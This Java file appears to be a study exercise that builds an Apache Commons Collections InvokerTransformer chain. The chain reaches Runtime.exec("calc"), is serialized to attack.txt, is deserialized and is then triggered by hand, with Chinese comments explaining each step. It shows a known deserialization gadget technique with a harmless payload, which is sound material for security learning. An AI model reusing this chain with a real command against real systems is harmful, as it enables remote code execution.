package com.hyf.collections;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

/**
 * @author baB_hyf
 * @date 2021/03/28
 */
public class T3 {

    public static void main(String[] args) throws IOException, ClassNotFoundException {

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                // 获取 Runtime.getRuntime() 方法对象
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                // 反射调用上面获取的方法对象
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                // 通过上面反射返回的 Runtime 对象，调用它的 exec(cmd) 方法
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        File file = new File("attack.txt");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
        oos.writeObject(chainedTransformer);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        Transformer o = (Transformer)ois.readObject();
        o.transform("any thing"); // 用户还要手动调用方法?
        ois.close();
    }
}
